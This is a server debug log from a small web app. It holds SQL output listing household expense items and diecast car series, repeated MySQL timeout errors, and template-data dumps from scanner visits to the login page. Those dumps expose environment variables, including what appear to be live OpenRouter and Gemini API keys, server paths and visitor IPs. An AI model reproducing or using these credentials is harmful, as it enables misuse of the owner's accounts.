      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-05T01:13:14.776Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-05T01:13:14.778Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 195, name: 'Majorette Castheads Gift Set', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 193, name: 'Majorette Black Edition Gift Set', total: 5 },
  { series: 194, name: 'Majorette Mercedes AMG Gift Set', total: 5 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-05 05:29:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-05 05:29:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-05 11:07:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-05 11:07:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-05 12:04:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-05 12:04:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-05 12:47:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-05 12:47:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-05 16:53:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-05 16:53:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-05 19:57:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-05 19:57:32' as DATETIME)"
}
2026-02-05T21:08:26.659Z server-connect:router Serving templateView /
2026-02-05T21:08:26.660Z server-connect:app Executing action step identify
2026-02-05T21:08:26.661Z server-connect:app options: { provider: 'security' }
2026-02-05T21:08:26.661Z server-connect:auth No login cookie found
2026-02-05T21:08:26.661Z server-connect:output identity: false
2026-02-05T21:08:26.661Z server-connect:app Executing action step restrict
2026-02-05T21:08:26.661Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-05T21:08:26.662Z server-connect:output restrict: undefined
2026-02-05T21:08:26.955Z server-connect:router Serving templateView /login
2026-02-05T21:08:26.956Z server-connect:app Executing action step identify
2026-02-05T21:08:26.956Z server-connect:app options: { provider: 'security' }
2026-02-05T21:08:26.956Z server-connect:auth No login cookie found
2026-02-05T21:08:26.956Z server-connect:output identity: false
2026-02-05T21:08:26.956Z server-connect:router Render template layouts/authentication
2026-02-05T21:08:26.956Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'air.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36',
    accept: '*/*',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '3.151.194.164',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-06T21:08:26.955Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '3.151.194.164',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'air.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '3.151.194.164',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-05 21:09:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-05 21:09:32' as DATETIME)"
}
2026-02-05T23:43:47.487Z server-connect:router Serving templateView /
2026-02-05T23:43:47.488Z server-connect:app Executing action step identify
2026-02-05T23:43:47.488Z server-connect:app options: { provider: 'security' }
2026-02-05T23:43:47.488Z server-connect:auth No login cookie found
2026-02-05T23:43:47.489Z server-connect:output identity: false
2026-02-05T23:43:47.489Z server-connect:app Executing action step restrict
2026-02-05T23:43:47.489Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-05T23:43:47.489Z server-connect:output restrict: undefined
2026-02-05T23:43:48.191Z server-connect:router Serving templateView /login
2026-02-05T23:43:48.191Z server-connect:app Executing action step identify
2026-02-05T23:43:48.191Z server-connect:app options: { provider: 'security' }
2026-02-05T23:43:48.191Z server-connect:auth No login cookie found
2026-02-05T23:43:48.191Z server-connect:output identity: false
2026-02-05T23:43:48.192Z server-connect:router Render template layouts/authentication
2026-02-05T23:43:48.192Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '167.94.138.202',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-06T23:43:48.190Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '167.94.138.202',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '167.94.138.202',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
